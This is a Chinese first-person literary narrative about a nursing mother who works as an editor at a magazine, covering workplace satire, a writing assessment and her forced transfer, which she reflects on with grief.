回到办公室,杨编辑说:“《小坛》又进了新成员了,一个是洪秀芬,从《且戒》调过来的。一个是黄社长亲自去招来的小姑娘,人家是省文科状元,家境也好,父母都是公务员。‘太优秀了!太优秀了!’黄社长说!” “洪秀芬不是都五十多了吗?她怎么还要来《小坛》的?”曹编辑说。 “她老公不是文化局的二把手吗?她想去哪儿还不是轻而易举的事嘛?”钱编辑说。 “现在延揽人才都要看家世了吗?”曹编辑说。 “那是当然。领导也喜欢家世好的!”阿杨说。 “家世好的,一辈子都是顺风顺水,性格也好。农村的,总带着点儿农村人特有的木讷。”乌编辑说。 杨编辑说:“小姑娘一来,就上了稿三阶段,专门负责最重要的工作。老聂立马被替换下来了。黄社长跟他说,我女儿今年上高三,让他好好照顾我女儿。” “你看,黄社长为你想的多周到!”曹编辑说。 “老聂工作没那么忙了,补贴也少了,回到家态度也变得谦虚了。”杨编辑说。 “你看!黄社长不仅考虑到你们的孩子,还照顾到你们的夫妻感情,黄社长真是大慈大悲啊!”曹编辑说。 “你们都羡慕吧?老聂年轻的时候成天死在社里,不着家,为《小坛》奉献了二十几年了。现在老了,被领导这样优待,受宠若惊,一时都不适应呢!”阿杨编辑说。 “老聂不是老黄牛’吗?”乌编辑说。“转眼就要卸磨杀‘牛’了?” “那可不。”杨编辑说,“黄牛肉好吃。” 郝跃说:“每到这个时候,都人心惶惶的。不知道社里让谁走。就这样吊着,搞得人心里头煎煎熬熬的。” 杨编辑说:“是的,我也害怕。” 我说:“你来《小坛》都多少年了,你怎么也害怕呢?害怕的是我们这些资历低的啊。” 杨编辑说:“我怎么不害怕的。让谁走还不全在老黄一句话吗?他想让谁走,随便找个理由就行了。” 曹编辑说:“不需要理由。他的决定就是理由。他想让谁留下就让谁留下,说让谁滚蛋就让谁滚蛋。” 郝跃说:“唉!每年都这样,真地够了。真还不如早点走呢,长痛不如短痛。” 我说:“早死早托生。早点被弄走了,还可以早点养养伤。伤口早点结疤,早点愈合。越是走地晚,伤口愈合地越慢,痛地越久。” “走喽!不跟你们说了,我去当道具去喽。”曹编辑说。 “你去当什么道具啊?”杨编辑问。 “今天有专家来检查,黄社长让我去文化墙那里站着,假装阅读。”曹编辑说。 “那面文化墙,平时过来过去的,谁看啊?今天还特意让你装模作样地去阅读?”杨编辑说。 “你们不要小看那面文化墙。那可是黄社长花了真金白银,请了设计师真刀真枪刻出来的。那上面的刻字都是浮雕的。这面文化墙报价大几十万呢。还有这次为了迎接检查,搞的那些展示牌、展示架,都花了很多钱的。”曹编辑说。 “有什么用啊,白白地耗费人力物力。员工的津贴都发不下来了。有钱还不如给我们发点儿津贴呢。”杨编辑说。 “他在《且戒》的时候就是这样,特别能挥霍。为了迎接一个专家,他把会场布置地像是给专家过生日一样。”乌编辑说。 “这就是黄社长的特长。人家擅长搞这个。”曹编辑说。 “你说人家也厉害哈。专家一来,社里的走廊里、过道上,花花草草,横幅、彩旗,红红绿绿,整地跟赶庙会似的。每一个细节都那么到位。专家一走,那些道具立刻就消失了。他是怎么做到的?”杨编辑说。 “他使唤别人去做呗。你以为他自己做呢?”乌编辑说。 “他指挥天兵天将做的!”我笑着说。 “唉!就这样的,给他个金山,他也能败光啊!”杨编辑说。 “你这个口气,好像一个老太太在说自己不争气的儿子似的。”我笑着说。 “他可不就是个败家子儿嘛。到哪败到哪。把《且戒》的家底子都给掏空了,再来掏空《小坛》的。到处都是他的面子工程。钱都花光了,有个屁用。”杨编辑说。 “屁用还是有的哦。还不是一点半点呢。那些面子工程不都是往他脸上贴金的吗。他把面子工程弄弄好,哄得专家一开心,他就是模范,他就是先进。旁人你有这个本事吗?”乌编辑说。 “量《小坛》之物力,结专家之欢心。”杨编辑说。 “我走了。我去逗专家开心去了。”曹编辑说。 “你还不走?你再不走,马上专家都要来了!赶紧的!开拍了!”杨编辑说。 “各部门准备好!”我说。 “演员请就位!action!”郝跃笑着说。 “对了,专家不要走动吗?你怎么办?你不能一直站在那里吧?”杨编辑问曹编辑。 “专家一走,老黄就冲着曹编辑喊‘咔’!”我笑着说。 “那他就接着拍下一场呗。”乌编辑说。 “那你不仅要阅读,你还得移动。你得根据专家的步伐移动。你这戏还蛮有难度的哈。”杨编辑说。 “专家走到哪儿,我就走到哪。还得跟专家保持适当的距离。不能跟专家距离太近,太近影响专家的心情。也不能太远,太远了,不在镜头里,影响画面的美感。”曹编辑说。 “那你是流动作战!”我说。 “这么需要演技的事情,得黄社长亲自给你说戏吧?”杨编辑说。 “关键曹编辑自身也得有这个天赋!一般的演员入不了老黄的法眼。” 乌编辑说。 “这个得天资聪颖!悟性极高!”杨编辑说。 “那是,这个得为龙为蛇,变化不测。” 乌编辑说。 “移动这种戏也不好处理哈。你打算怎么移动啊?你是迈着先秦淑女的步伐呢,还是打算邯郸学步啊?”杨编辑问。 “我打算走个戏台子上的鬼步,漂个水袖,像仙女一样,跟专家保持若即若离的距离!那才叫一个销魂!”曹编辑说。 “那你不仅要装作专心致志地阅读,还得时不时朝专家那里瞟上两眼儿呢。” 乌编辑说。 “是的。要小心翼翼,距离要刚刚好!”曹编辑说。 “不跟你说了。专家马上就要到了。你赶紧走吧。是时候展示你真正的实力了!” 杨编辑说。 “请开始你的表演!” 郝跃笑着说。 “是的,我平时工作都没有这么费劲儿!今天要狂飙演技,老有成就感了!”曹编辑说。 “你要是总这样若即若离的,专家要是一时兴起,想跟你搭话话儿还搭不成来哈?”乌编辑说。 “要的就是这个效果。”曹编辑说,“我给他来个襄王有意,神女无情。我给他来个神龙见首不见尾,让他可望而不可即。撩地专家心里痒痒的!” “那专家回去以后要得相思病了。食不甘味夜不能寐,单单思念曹美人儿!”杨编辑说。 “老黄哪是让你去演戏?这明明是要对专家进行色诱啊!”乌编辑说。 “色诱也得找个美女啊!怎么找了曹编辑这样的抠脚大汉!”杨编辑说。 “你怎么知道专家的品味?专家的品味总是独到的!”乌编辑说。 “什么?你居然怀疑我的实力?要相信我,任何品味的专家我都可以轻松驾驭!”曹编辑说。 “曹如花!”我笑着说。 “到那儿以后,回眸一笑,抠个鼻子给专家看看。让他领略一下你的魅力!”杨编辑说。 乌编辑说:“老黄这人是匠心独运。他不光知道造个假山嘛,他还往假山上弄只猴子。人家不光知道造个喷泉嘛,人家还在池子里放个鸭子。” 杨编辑说:“曹编辑,你今天是猴子还是鸭子啊?” “你才是鸭子!你们全小区都是鸭子!”曹编辑说。 “曹编辑今天扮的是一个人。他今天是个人偶!”我说。 “能想到这样的点子的人真是奇才啊。我们就想不出来吧。怪不得人家老黄能当社长。”杨编辑说。 “当然是黄社长啊!这样天才的想法,除了老黄,还有谁?YYDS!”曹编辑说。 我说:“曹编辑,YYDS是什么意思啊!” 曹编辑说:“你OUT了吧!怪不得领导不喜欢你!YYDS,就是永远的神!” “黄社长可是影帝级的存在!你跟他好好熏陶熏陶,争取拿个奥斯卡小金人儿回来!”杨编辑说。 “奥斯卡小金人儿不稀罕!黄社长随便就能送我一个!他家里多的是!他得了很多!”曹编辑说。 “哈哈哈哈!”大家笑得眼泪都出来了。 “人家不仅会做,人家还能吹。不管什么事什么人,人家都能给你吹地天花乱坠。” 乌编辑说。 “那是!他巧舌如簧,长袖善舞!”曹编辑说。 “你说他的舌头怎么那么会说的,真想把他的舌头给拔下来吃了。”杨编辑说。 “他的舌头谁要吃啊,恶心死了!”我说。 “就是的。给狗吃狗都不吃!”曹编辑说。 “他的舌头给狗吃了,狗肉我都不吃!”我说。 “哈哈哈哈!”大家又哈哈大笑。 黄社长招聘了两个很优秀的。那么随之而来的是,我们这些不够优秀的注定要滚蛋了。不得不承认,人家年纪轻轻又那么优秀的小姑娘,真真是国色天香,金玉满堂,散发着喜悦的吉祥的光,不用看就知道会为单位创收,带来荣光和收益。而我,我是穷山沟的石头缝子里钻出来的一个树杈,也想一路高歌猛进,却长着不成体统的枝丫。没有人托举,没有人扶持,我光靠自己的横冲直撞跌跌撞撞地生长。碰了一鼻子灰,磕了一身的伤。年近四十,剩下的是伤痕累累,老态龙钟的臭模样。因为有了孩子,不仅蠢笨,还没有了当初的不顾一切拼命三驴的鲁莽劲儿。我像是一个人老珠黄的老宫女,只能让领导看着讨厌,嫌弃。 2.写作的题目是:大事和小事 阿杨说:“明天,编辑部要考核每个编辑的写作能力。大家带好笔。八点集中。” “在哪儿集中?” 郝跃问。 “就在平时小组开会的会议室。限时完成。”杨编辑说。 “题目是保密的吗?”钱编辑问。 “嗯,题目到了才知道。”杨编辑说。 “好紧张啊!”郝跃说,“我又要睡不好觉了。” “我也害怕。老黄也是的,想起一出是一出。变着法子来折腾我们这些编辑。能不能让我们安生会儿。”钱编辑说。 “谁不害怕?你们以为我不害怕啊。老黄说,我们这些编辑不仅要能审稿子,自己也得会写文章。”杨编辑说。 “可以带手机吗?”郝跃说。 “带不带手机你们自己决定。老黄的意思是不可以带手机。要自己独立完成。”杨编辑说,“我只是传达他的意见。带不带手机,你们自己看着办。” “我不管,我要偷偷地带上!”郝跃说。 “我也带上!”钱编辑说。 “我肯定得带手机。关键时刻可以保命。我越是紧张越是写不出来。” 郝跃说。 “就是的。你说我们都这个年纪了,还能写什么文章啊。”杨编辑说,“大省可以的。大省文笔好。大省还可以写写的。” “我不行。我自从生完孩子,脑子就没有以前灵光了。”我说,“再说了,我是自由发挥可以,要是让我戴上手铐脚镣写那些八股文,我就不行了。” “一孕傻三年,你这还在傻着呢。”杨编辑说,“等你功力恢复了就好了” “生孩子是有影响的。所以黄社长要招那些小姑娘嘛。小姑娘的脑子多好使啊。人家本来也优秀。” 郝跃说。 晚上,我把宝宝抱给老太太说:“今天晚上就让宝宝跟你睡吧,我睡个好觉,明天要写文章,要有清醒的头脑。” 可是,我自己回到房间以后,想着我的宝宝,我不能睡得着。我就去老太太房间,把我的孩子抱过来。该怎么样就怎么样吧!来什么就是什么!是箭就往我背上刺,是刀就往我身上剐。我只管抱着我的孩儿,我的心里才安稳。千磨万击还坚劲,任尔东西南北风!随便!夜里,我照常熬夜,给我的孩子冲奶粉,刷奶瓶,换尿不湿。 第二天,一大早,大家来到会议室里,坐在一起。领导的一个副手进来,给每个人发了一张纸。 写作的题目是:大事和小事。 曹编辑说:“我这里有AI智能写作,可以自动生成文章,你们谁要?” 大家都说:“我要我要!” 我没吭声,我不想要。倒不是我觉得自己写地多好,我嫌抄写太费功夫,还不如我自己写来的快。而且,我也不觉得那些文章写得有多好,抄别人的文章,对我来说,实在是浪费时间浪费笔墨。 曹编辑说:“好!要的跟我发微信,我点对点发送。” 他们开始对接了。 我不管他是怎么操作,我就开始写自己的。 自从有了女儿以后,我所有的思维里都是她了。 “世界上有种最美的声音,它来自我最爱的baby!亲爱的女儿,妈妈爱你!因为爱你,妈妈愿意为你做琐碎的小事,你饿了,要吃奶奶了,妈妈愿意为你冲奶瓶,你拉屎屎了,妈妈愿意为你擦屁屁。你病了,妈妈愿意带你去医院。你哭了,妈妈愿意抱着你,从子时熬到丑时。为你,妈妈耗尽了满腔的心血,霜花落满了青丝。 你是我生命的全部啊,你的一桩桩小事,在妈妈的眼里,都是大事。妈妈每天盼着你喝水水,吃肉肉,吃菜菜,吃果果,洗手手,穿鞋鞋,穿袜袜,听话话。只要你不冷不饿,不哭不闹,妈妈就会开心地笑。 等你长大了,你就会知道。这世上除了生死,所有的大事都是小事。心宽天自高,神聚百病消。我的宝贝,你尽可以抛开那些生命中的琐碎的小事带来的烦恼,尽情地高歌,尽情地欢笑! 对妈妈来说,这世上,没有什么比你更重要!妈妈爱你,你是妈妈永远的宝!” 我笔上像搽了油,眼含着泪花刷刷地写着,管他领导说什么好坏,我喜欢的我就要写出来!我想写什么我就要写个痛快! 文章好不好,评判的标准是什么?是合乎不合八股?还是合不合领导的喜好? 管他的!我自己觉得好就是好! 我不想举那些苏轼王安石的例子,也不想搞什么正反对比论证的手段!我笔写我心。 我就是要借着这篇文章,写出我的心声!我的爱! 他们还在抄写,我刷刷地写完了。 杨编辑说:“天呐,大省写地比我们抄地还快!大省有才!” 我确实是写完了,此刻,腰疼,头疼,肩膀疼。我把笔一放,把卷子一推。起身离开了会议室,到外面呼吸新鲜空气去。 一场春雨刚刚过去,玫瑰花瓣落了一地。园丁把一些多余的花枝修剪掉了,我踮起脚来,去那花堆上,折下来几枝,准备带回家送给我的小公主。路两边,绿绿的桑葚树上结了许多绿绿的小桑葚,果子很嫩,还不能吃。我溜达了一会儿,心满意足地回到了办公室。 写作结果出来了。 黄社长捧着我们的那些文章说:“有的同志写的文章,我就不提名字了。你看这篇文章,简直是胡说八道!” “人家要写大事小事,你写什么你家孩子!你连孩子拉屎尿尿你都写!简直是一点不会写作!你看人家曹编辑写的,先是举例子,举了司马迁的例子。然后摆事实,又举了孔子的事例,这就让人觉得作者很渊博。是看过书的。证明他肚子里头有墨水嘛。接着举了项羽和刘邦的事例,体现了一个正反对比论证的手法。写文章要遵循一定的写作方法的!你不遵循一定的写作套路,你怎么写的文章!你看,最后,总结。这才是写作之道嘛!” “另外几篇也不错,啊!有的举的是荀子,庄子的例子。有的举的是李斯和韩非子的例子。这才是文化人该有的文章嘛!你那写的是什么!就是一个庸俗的奶妈!我们这些编辑说起来都是文化人,平时也都是以文学爱好者自居。就你这篇文章,文学史上的经典事例你只字不提,你也配说你喜欢文学?视野太狭窄了!姊妹们!你能不能把眼界放宽一点!你还是学古代文学的呢!要多多加油!努力!鸡蛋从外面打破是食物,从里面打破是生命。世界在重构,生活在裂变。人家已经在罗刹海市里选边站了,你还在小小的花园里头挖呀挖。你那张旧船票已经抵达不了时代的彼岸了。” 大家当然都知道那篇文章是我写的。 回到办公室以后,吴悠悠说:“大省写地那篇文章挺好的!独抒性灵。” 郝跃说:“你口口声声你家孩子,都在上班了,还想着你家孩子。领导能喜欢吗?自找没趣!这个时候,还往枪口上撞!你就是喜欢跟他们硬碰硬。你真是与天斗其乐无穷!” 我说:“我想怎么写,就怎么写!他放的屁就是标准啊?管他的呢!他不喜欢我,我就是写我爱他家的马桶盖子,他也不会喜欢我。他还得说我是无能鼠辈!奴颜婢膝!他喜欢我,我就是写我爱我家,他也还是会喜欢我!走就走呗!反正早晚免不了一走!晚走还不如早走!那我还不如想怎么写就怎么写。” 杨编辑说:“大省就是爱独辟蹊径。像我们都是抄抄。天下文章一大抄。你抄个普普通通的文章敷衍敷衍他,他反而高兴。你自己绞尽脑汁独创一篇文章给他,他反而看着不舒服。你最后反而是出力不讨好。” 乌编辑说:“大省嘛,可能是性格使然,改不了,爱较真儿。凡事难得糊涂嘛。太较真儿是要吃苦的。” 我说:“顺其自然吧。大不了走人呗。反正是早晚的事儿。” “呵呵!”杨编辑看看我,她的眼神儿像是一条不安的鱼线,撒出去,又迅速收回来。那眼神儿里,有对一个弱者的些许同情,也有几丝躲闪。我从她的眼神儿里感受到了一丝山雨欲来前的虚假的温馨与宁静。我的灵魂里闪过一刹那的不安。但是我立刻想,随便吧。顺其自然,我随遇而安。 “来来来!吃橙子吃橙子!”杨编辑给我们一人分了一个橙子说,“心想事成!心想事成!” “心想事成!心想事成!”郝跃说。 3.7月2号上午9:53分 7月2号上午9:53分,我在自己卧室里的电脑前敲着字,徐主任给我打了电话,让我去他的办公室。我大概知道是什么事了。 一张“交流”意向表摆在徐主任的办公桌上,徐主任坐在椅子上。意思已经很明显了,他等着我签字走人。屈指算来,我在《小坛》工作已经十年,我没有在领导面前流过眼泪。可是产后一段时间,因为各种原因,我常常会绷不住掉眼泪。 我一下子哭了出来:“你们也太狠心了吧!我知道我资历最低,被发配走是迟早的事儿。可是,我的孩子才一岁啊,她还那么小。你们就迫不及待地对我下手啊!你们就不能给我暂缓一年,让我可以就近照顾我的孩子啊。我年近四十才生孩子,你们就受不了了啊!” 坐在徐主任前头桌子上的齐师傅是社里的司机,平时,我们出去开会、学习,他负责接送。他听到了我的哭诉,赶忙识趣地走了出去。 徐主任一时语塞,不知道说什么:“是黄社长跟其他社里的领导一起决定的,又不是我一个人决定的。”他为自己辩解道,“你看,你到了那里,不像《小坛》这么忙了,有了周末了,你可以更有时间照顾孩子了。” 我说:“你不要说了。徐主任,都是成年人,都心知肚明。你们让我走,我绝不会赖着不走。我应该感谢你,你本来可以先发制人,罗织一堆的罪名,上来就把我批斗一番,让我哑口无言,灰溜溜麻利走人的。可是你没有这样做。你对我已经很客气了。” 是的,想让一个人走,还不是轻而易举的事。“□□”中罗列罪状、批斗人的场面我虽然没有经历过,也在电视上看到过。徐主任没有给我脖子上挂个牌子游街,已经对我格外开恩了。我还想怎地。 “黄社长让我经手这件事的,我也不想得罪你们。”徐主任慢悠悠地说。 徐主任也不是第一次经手这种事情,那些被发配走的人的喜怒哀乐,想必他也见了很多。他采取这么不像往日的,比较温和的态度,大概也是见人之将死,见他们权力大刀下的人之将死,所以,他其言也善吧。 何况,有的被他们搞走的人会垂死挣扎,拼死反搏,有的恨不得跟他们鱼死网破,拼了命要去告发他们、揭发他们。他们对这些被他们搞走的人大概也心有余悸。弄不好,有的心理脆弱的还会搞个跳楼什么的。所以这个时候,为了尽量避免有极端事件发生,影响了他们头上的帽子,他们反而是格外温和,好言劝慰。 说来说去,他们怕人家揭发他,或是跳楼连累他,否则的话,他们怕个锤子! 毕竟他们辱没的是一个人啊! 徐主任说:“你到《喵一生》那里去,《喵一生》社长是我的朋友,我跟他说一声,可以照顾照顾你。” 我说:“好的,谢谢!” 其实我心里想:放你的屁吧!还说什么让你的朋友照顾我。你要是照顾我,你早就照顾我了。你连我是一个哺乳期的妇女都不照顾,你连我怀里还有一个一岁的吃奶的孩子都不照顾。你们把我发配走了。你还跟我谈什么照顾。你那个朋友不跟你一丘之貉,不把我放在砧板上鱼肉我,已经是谢天谢地了! 我也不想得罪这样的人。我跟他说:“我平时还蛮欣赏你的。你虽然严厉一点,但是,我觉得还是蛮豪爽的。”我说着笑了起来。我说的也是真心话。平时,我们无冤无仇,他们高高在上,我低低在下。我们八竿子都打不着。如今他们要发配一些人滚蛋。那只好捡软柿子捏,即使是按资排辈,那也必然是我了。这个我心知肚明的。 “我们对你们,就像老大哥一样。”徐主任说。 他的办公桌的右手边上,放着他妻儿的相框。相框里,他的老婆笑语盈盈地抱着一个小女孩。 原来,徐主任也是有小儿女的。何以他就忍受不了我的小乳儿,何以要对我和我新生的孩子赶尽杀绝呢? 你们这些披着羊皮的狼! 在《小坛》是辛苦,可是,那是我工作了十年的地方,我在《小坛》附近买了个小房子,从我家到《小坛》,磴自行车不到十分钟,孩子有个头疼脑热,我可以随时赶到。《小坛》工作确实辛苦,但是加班多,津贴多,我的孩子才一岁多,还要吃奶,还要用尿不湿,我老公在厂里上班,工资低,我是养活孩子的主力。我养活孩子本就吃力。现在被《小坛》发配,等于少了一笔收入。我的孩子的供养又少了一分力量。 可是他们不会为你考虑这些。不要说是调动工作,即使是让你没饭吃,即使是要抱着孩子一起发配,他们也做地出来。 他们举起大刀,向一个抱着乳儿的哺乳期妇女头上砍来。 上级的文件是优秀的员工自愿流动,可是天知道被流动走的都是哪些人! 谁也想得到被流动的都是哪些人!用屁股想一想也知道被流动的都是哪些人! 我是哺乳期的妇女,我的孩子才一岁,我是外地人,我家无权无势,我的老公不开厂,不能给我财力上的支持,所以我才注定被调走。对于他们,我还有什么好说的。 一张流动意象单放在我的面前,我知道他的时间宝贵,还要再催促下一个行将被他们赶着发配的人,我就顺顺利利地签了字。我是一个读书人,我老实本分,不愿意多生是非。我在《小坛》十年,兢兢业业,勤勤恳恳,我认认真真工作,夹着尾巴做人,对领导服服帖帖,从来不知道在背后当众骂领导,从来都是一脸茫然地看着那些比我更有资历的人骂着领导,揭露他们的八卦、绯闻。可我最后落了个被厌弃、被发配的田地。我还有什么好说的。 我骑着自行车来到《小坛》的北门儿。 “宋编辑。”新来的夏师傅跟我打招呼说。 “夏师傅,我以后就不在这里了,我被调走了。”我说。 “怎么会这样?”夏师傅一脸迷惘地说。我什么也没说,我感谢他为我奉献的那一脸迷惘。 我骑上自行车回到了家里。老太太正在抱着孩子站在客厅里。 “我被调离《小坛》了。”我跟老太太说。 “哼!没给他们钱!”老太太说。 “你带好宝宝,我有事。”我说。我一头扎进了卧室里。我的眼泪夺眶而出。 我打开电脑,继续敲我的字。 我知道这一天迟早要来的,只是不知道他们的心那么狠,他们的行动那么快。 他们要抛弃我,他们要毁了我,我偏不放弃我自己。 人要脸,树要皮。被发配了特别丢脸,特别不光彩,可是,我只是人家手里一颗棋子,我能有什么办法。脸是人家给的。人家不给我脸,我就得厚着脸皮活下去。 要什么脸?是活下去重要,还是脸重要? 士可杀,不可辱?我能去跳楼吗?我跳了楼,也不管他们的事。我的身后,还有嗷嗷待哺的乳儿,我有那么想不通吗,我能死吗? 我如果死了,也只是可怜了我的寡母二十几年的含辛茹苦! 我如果死了,也只是可怜了我的只有一岁的乳儿没了娘,一辈子受苦。 此外,管他们什么事? 我的身后没有强大的娘家为我撑腰,没有有能力又有爱的婆家来做我孩子坚强的后盾。否则,我就去跳!我就去闹! 可是,现在,我一无所有,我的孩子除了我一无所有。我去死啊!我尽管去跳,去死啊!螳臂当车!以卵击石!我去死啊!我死了连个屁都不值! 是的!活下去!厚着脸皮活下去!像牲口一样活下去! 我不会死,我不能死,只要还能让我活下去,我就一切都忍着。 一切都在意料之中,没什么好说的。曾经意气风发的青年,如今变成了白发苍苍的中年奶妈,为了生活,即使内心受了伤,也得继续往前爬。 我敲打着自己的电脑。忆起南乡的那些事: “爸爸要走了,我挣命似地哭喊着要跟爸爸走,爸爸狠下心,头也不回地推着自行车朝东远远地走去。奶奶死死地抱住我,我拼命地挣扎,喊叫,用尽一个小小的生命所有的力气,去挣脱,去喊叫。我多么想跟爸爸走,可是爸爸一点都不等我。那天的大街格外宽敞,格外的白,格外的黄,他很快就走远了。我挣脱奶奶的怀抱,发了疯似的在大街上跑着追赶我爸爸,用我从小听来的骂街的脏话,用最难听的脏话,哭喊着骂我爸爸,提着他的大号骂我爸爸。我多希望爸爸能够带我一起走。可是他已经走远了,只剩下白茫茫的大街。我不知道他是回小鲁村还是直接回山东,反正我是追不到他了。 我知道爸爸妈妈不容易,所以我被迫寄人篱下的时候,我也只能同意。每天,看着那一张张我并不熟悉的脸,感受着我并不真正向往的热情,和那些我能够感受到的冷暖。我用没心没肺的笑,来回应奶奶那一句看似无心的讥讽,我内心何尝不想回去,可是回去遥遥无期,我只能在这里。不管人家对我多么真诚,或者多么热情,不管我吃着多么好吃的煎饼卷猪肉,可是我心里还是想要回去。 穿过三十多年的时光,我还清晰地记得那天的挣扎、那天的哭喊,那天的绝望。被狗咬的痛我不记得了,伤口恢复期有多痛,我也不记得了。但是那次跟爸爸分开的痛我记得清清楚楚。 时过境迁,忆起当年的情景,我仍然会痛哭流涕。如果再回到那个时候,我仍然想让爸爸带我走,只要爸爸带我走,我会毫不犹豫,一头扑过去,坐在爸爸幸福的自行车后座上,不管前方去到哪里,只要跟爸爸妈妈在一起,在哪里都可以。” 我边打字边哭,床头柜上就有一包抽纸,我擤鼻子的纸堆成了一堆。这个时候,我没有爸爸来护我周全,我只能靠自己。我靠自己来扛住生活的揍,我靠自己顽强地活下去。 4.除非你有更粗的大腿 我拿出手机,从《小坛》编辑部的群里退了出来。 郝跃立马打来了电话:“你怎么退群了?” 我告诉她说:“我被流放了。” “啊?!啊哈哈哈哈哈哈——”她开怀地放声大笑,她不用走了!她可以放心了。 听着她畅快地笑声,我很平静地倾听着她的快乐。我被发配了,她被留了下来。我被绞死了,她暂时还活着。这件事对于一个可悲的小人物来说确实可喜可贺。但是,对于一个小人物来说,走和不走,其实没有多大的区别。走的是一只球,被狠狠地踢了出去。不走的也是一只球,被人家踢来踢去,踢地滴溜溜直转,在即将滚蛋的边缘上打转儿。即使是不走,又有什么好看? 然而,郝跃还是放声开怀大笑。这笑里有对她自己得救的庆贺,也有对我被杀戮的痛快!她是这样的,她一直是这样的。她总是会在不经意间就赤裸裸地露出她的马脚和尾巴的。对于这样的她,我早就习惯了,我等着她笑完。继续跟她聊天。 郝跃笑完了说:“今年你走了,明年就该我了。也不一定到明年,说不定马上来个谁的夫人,就把我替换掉了。” 我说:“郝跃,我真的没有想过,他们会让你走。你不是身体不好吗?让你走不是太不人道了吗?我的直觉就是你需要保护,需要将养啊,怎么能动你。” 郝跃说:“你太天真了。我身体不好,不能为人家干活挑担子了,人家怎么可能还留着我。人家动我,还得说成是为我考虑,说我不能承担这样的负荷。他们早就想把姚玉婷弄走的,姚玉婷得了乳腺癌,正在化疗。要是因为调动,她死在了这个当口儿,他们实在说不过去。所以才没有弄姚玉婷的。你以为呢。” “姚玉婷都化疗好多次了,他们都不放过!还想赶她走。也不同情一下她幼小的儿子!她儿子才八九岁吧。”我说。 “他们只会嫌弃她拖累,他们怎么会同情我们这样的药篓子病秧子。他们也要成绩!要利益的!你以为这里是什么地方?”郝跃说。 “唉!一将功成万骨枯!”我说。 “所以说,身体是革命的本钱。我刚去查了肌酐。我的肌酐又高了。我现在要的就是保命。你也要好好保重自己的身体。”郝跃对我说。 “郝跃,我觉得我没那个心了。我竞争不过那些二十多岁的小姑娘了。她们有青春,有活力,有干劲!我呢,比她们大十几岁。都可以做她们的妈了。”我说。 郝跃说:“你没热血沸腾过吗?你的青春也奉献给了《小坛》啊!你以前还不是跟打了鸡血一样!” “以前是以前。现在人老珠黄了,就被人家嫌弃了。你说,这跟年老色衰,惨遭抛弃,有什么区别?”我说。 “现在人才太多了。人家用人都是掐尖儿用了。人家吃白菜只吃白菜心儿里的那一点了。”郝跃说。 我说:“可怜我们还不到四十,就成了白菜帮子了。被当成垃圾乱扔一气。新人风风光光地来,旧人凄凄惨惨地走。由来只见新人笑,有谁听见旧人哭。” “走了也可以再回来的。只要你搞个创造或是发明,就立马把你从贬谪之地大赦回来。王成不就是因为搞了个发明,又被召回来了吗?”郝跃说。 “是吗?还可以这样。”我说,“回来干什么?回来在不毛之地上挖土豆吗?社长安排工作的时候,把满地的大土豆给张三,再把小一些的土豆给李四。再把再小一点的土豆给王二麻子。最后,一块荒地里没有土豆了。领导把这块荒地给你。让你在里面继续挖土豆。你挖出来,社长说,那是他们不小心漏掉的。你挖不出来,社长就说你没本事。” “嗯。可不是。”郝跃说,“我们都一样。被资格老的欺负,被领导看不上。” 我说:“是的。被资格老的当孙子,被社长当垃圾。我以前还对社长心存幻想,以为我们被那些资格老的欺负的时候,可以到社长那里哭诉。我们是为了和睦才强忍着,不去社长跟前哭诉。可是,现在我看清楚了,社长对你可不是欺负那么简单。社长根本不管你要不要脸。人家直接要你的命。你说,他们这样发配人,万一有哪个想不开的跳下去了,他们不是要了人家的命了吗?” “胳膊拧不过大腿去。没办法。除非你有更粗的大腿。”郝跃幽幽地说,“这个世道就是这样。” 我说:“郝跃,你有大腿吗?你婆婆是本地的,你们一个大家族里那么多的亲戚朋友,你可以让她们帮你找找的。” 郝跃说:“没有。就是有,不到万不得已的时候,我也不想动用。你有吗?你老公不是本地的吗,你也让你公公婆婆帮你找找关系。” 我说:“没有。他们家是农村的。不认识什么人。不要说大腿了,就是小腿也没有。再说了,他们想让我走我就走呗。我还死乞白赖地赖在这儿呢。他们不稀罕我,我还不稀罕他呢。” 郝跃说:“兔死狐悲,唇亡齿寒。你走了,就剩下我一个人了。她们群殴我的时候,我就没有同伴了。” “你说,她们在办公室里天天骂领导,我们跟孙子一样,骂的最少。最后我们就是这个下场。”我不无感慨地说。 “领导只看利益。人家业绩又好,孩子大了,能扛事儿。你行吗?”郝跃说。 “怎么不行?我哪里比她们差了?我是一点都不服。任社长不是说过吗?好的、差的资源怎么安排。只能按资格分配。他这话说的倒是良心话。你接手了差的资源,永远搞不过人家那些资源好的。” 我说。 “是的。你的孩子那么小,人家也不为你考虑。”郝跃说。 “没有人为你考虑。”我说,“考虑什么?我不高贵,我孩子也不高贵。我低人一等,我的孩子也低人一等。” “这世界就这么现实。不能扛事儿,就走人!人家管你呢。人家才不管你会不会产后抑郁,会不会经不起打击。人家就把你扔下去,让你自生自灭!”郝跃说。 夜里,我做了一个梦。我梦见黄社长请《小坛》的人去吃烤鸭。大家鱼贯而入,欧阳杰也来了,他肩上扛着个孩子。他还是有些勇猛的模样,他看见紧闭的门不好进入,就开始撞。 大家落座了,菜单递上来了。我一看那菜单,清清楚楚的表格列着,第一道菜是人肉。我心里纳罕,这人肉该怎么吃呢?这如何下得了口。看看四周,那些人好像并没有什么异样,算了。这道菜,我就不吃了吧,我心里想。 我坐等第二道菜。再看第二道菜,羊肉汤,这个是我比较喜欢的,也是我比较向往的。我这几年最渴望的就是等到手头宽裕了,可以一家子去喝个羊肉汤,可是我一直没有吃过。那么,我就等着喝羊肉汤吧。我心里想着。 正这样想着,黄社长过来了。我心里想,我是被他撵走的人,不应该对他欢呼雀跃,山呼万岁的。那么我就做出一个畏畏缩缩的样子吧。这也正符合我在他心目中的形象。我不是刚刚被他发落了吗?于是我低下头,做出一副畏畏缩缩的烂泥扶不上墙的样子。 黄社长大踏步走了过来。我的梦也醒了。 今夜,除了几个微不足道的人,其他的人都心想事成了。 我走了,郝跃可以暂得一时安寝,她不用走了,她在梦里都是笑靥如花。 我走了,我在经济上,精神上受到严重的创伤,杨编辑少了一个眼中钉肉中刺,她自然也是开心的。 徐主任软硬兼施,劝退了我们几个老弱病残孕,圆满地完成了黄社长交给他的任务,又一次替黄社长充当了枪手和挡箭牌,他拿着我们几个被贬谪之人的亲笔签字,向黄社长交了一份满意的答卷,这在黄社长那里又是大功一件,徐主任自然是开心的。 